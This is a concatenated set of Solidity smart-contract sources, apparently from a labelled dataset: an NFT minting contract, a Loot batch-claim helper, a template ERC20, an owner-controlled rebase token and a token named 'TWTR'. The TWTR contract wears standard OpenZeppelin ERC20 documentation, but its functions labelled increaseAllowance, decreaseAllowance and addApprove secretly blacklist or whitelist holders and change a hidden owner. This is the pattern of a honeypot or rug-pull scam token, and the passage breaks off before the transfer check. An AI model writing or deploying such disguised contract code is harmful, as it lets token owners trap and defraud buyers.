> 0 ){ address payable s = payable(msg.sender); s.transfer(msg.value - upgradeTypes[_upgradeIndex].priceETH); } } /** * @dev Returns avilable for free mint NFTs for address * */ function availableFreeMint(address _partner) external view returns (uint256) { return _availableFreeMint(_partner); } function getUpgradeType(uint256 _index) external view returns(Upgrade memory) { require(_index < upgradeTypes.length, "Unknown upgrade"); return upgradeTypes[_index]; } function getUpgradeTypeCount() external view returns(uint256) { return upgradeTypes.length; } function getBeneficiaries() external view returns(Beneficiary[2] memory) { return beneficiaries; } /////////////////////////////////////////////////////////////////// ///// Owners Functions /////////////////////////////////////////// /////////////////////////////////////////////////////////////////// function setPartner(address _partner, uint256 _limit) external onlyOwner { _setPartner(_partner, _limit); } function setPartnerBatch(address[] memory _partners, uint256[] memory _limits) external onlyOwner { require(_partners.length == _limits.length, "Array params must have equal length"); require(_partners.length <= 256, "Not more than 256"); for (uint8 i; i < _partners.length; i ++) { _setPartner(_partners[i], _limits[i]); } } function setMintPrice(uint256 _newPrice) external onlyOwner { mintPrice = _newPrice; } function withdrawEther() external onlyOwner { uint256 raised = address(this).balance; for (uint8 i; i < beneficiaries.length; i ++) { address payable o = payable(beneficiaries[i].bAddress); o.transfer(raised * beneficiaries[i].bPercent / 10000); } } function setMintPause(uint256 _newTotalSupply) external onlyOwner { stopMintAfter = _newTotalSupply; } function setEnableTimestamp(uint256 _newTimestamp) external onlyOwner { enableBuyAfterTimestamp = _newTimestamp; } function addUpgradeType( uint256 _priceETH, uint256 _limit, uint256 _tokenIdShift, bool _enabled ) external onlyOwner { require(_tokenIdShift > MAX_TOTAL_SUPPLY, "Not Zero"); upgradeTypes.push(Upgrade({ priceETH: _priceETH, limit: _limit, count: 0, tokenIdShift: _tokenIdShift, enabled: _enabled }) ); } function updateUpType( uint256 _inedx, uint256 _priceETH, uint256 _limit, bool _enabled ) external onlyOwner { upgradeTypes[_inedx].priceETH = _priceETH; upgradeTypes[_inedx].limit = _limit; upgradeTypes[_inedx].enabled = _enabled; } function setBeneficiary(uint256 _index, address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "No Zero Address"); beneficiaries[_index].bAddress = _beneficiary; } /////////////////////////////////////////////////////////////////// ///// INTERNALS ///////////////////////////////////////////// /////////////////////////////////////////////////////////////////// function _availableFreeMint(address _partner) internal view returns (uint256) { return partnersLimit[_partner].limit - partnersLimit[_partner].nftMinted; } function _baseURI() internal view override returns (string memory) { return string(abi.encodePacked( //"https://dev.nftstars.app/backend/api/v1/nfts/metadata/0x", "https://nftstars.app/backend/api/v1/nfts/metadata/0x", toAsciiString(address(this)), "/") ); } function _setPartner(address _partner, uint256 _limit) internal { require(_partner != address(0), "No zero"); require(_limit >= partnersLimit[_partner].nftMinted, "Cant decrease more then minted"); if (partnersLimit[_partner].limit < _limit) { reservedForPartners += (_limit - partnersLimit[_partner].limit); } else { reservedForPartners -= (partnersLimit[_partner].limit - _limit); } partnersLimit[_partner].limit = _limit; emit PartnesChanged(_partner, _limit); } function _multiMint(address to, uint256 amount, uint8 channel) internal returns (uint256) { require((totalSupply() + reservedForPartners + amount) <= MAX_TOTAL_SUPPLY, "No more common heroes"); uint256 counter; if (amount > MAX_MINT_PER_TX) { counter = MAX_MINT_PER_TX; } else { counter = amount; } if ((totalSupply() + counter) > MAX_TOTAL_SUPPLY) { counter = MAX_TOTAL_SUPPLY - totalSupply(); } for(uint i = 0; i < counter; i++) { _mint(to, totalSupply()); emit MintSource(totalSupply()-1, channel); } return counter; } function toAsciiString(address x) internal view returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(bytes1 b) internal view returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LootContract { function claim(uint256 tokenId) external; function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address); } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract MultiMap is IERC721Receiver { LootContract _lootContract = LootContract(0x1dfe7Ca09e99d10835Bf73044a23B73Fc20623DF); function getMultiLoot(uint256[] calldata tokenIds) public { uint256 mintedAmount = 0; for (uint i = 0; i < tokenIds.length; i++) { try _lootContract.claim(tokenIds[i]) { _lootContract.safeTransferFrom(address(this), msg.sender, tokenIds[i]); mintedAmount++; } catch { } } } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'name' token contract // // Deployed to : your address // Symbol : stock market term // Name : Name // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Extreme is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Extreme() public { symbol = "XT"; name = "Extreme"; decimals = 18; _totalSupply = 5000000000000000000000000; balances[0x4DFD4C3D70A13B491B2F10FBB26e3BD2BaD5e93f] = _totalSupply; //MEW address here Transfer(address(0), 0x4DFD4C3D70A13B491B2F10FBB26e3BD2BaD5e93f, _totalSupply);//MEW address here } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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pragma solidity 0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SaltyFinance is Ownable { using SafeMath for uint256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(this)); _; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string public constant name = "salty.finance"; string public constant symbol = "SLT"; uint256 public constant decimals = 18; uint256 private constant DECIMALS = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10000 * 10**DECIMALS; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedFragments; function rebase(uint256 epoch, uint256 supplyDelta) external onlyOwner returns (uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } _totalSupply = _totalSupply.sub(supplyDelta); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor() public override { _owner = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_owner] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }

True

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pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract TWTR is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them 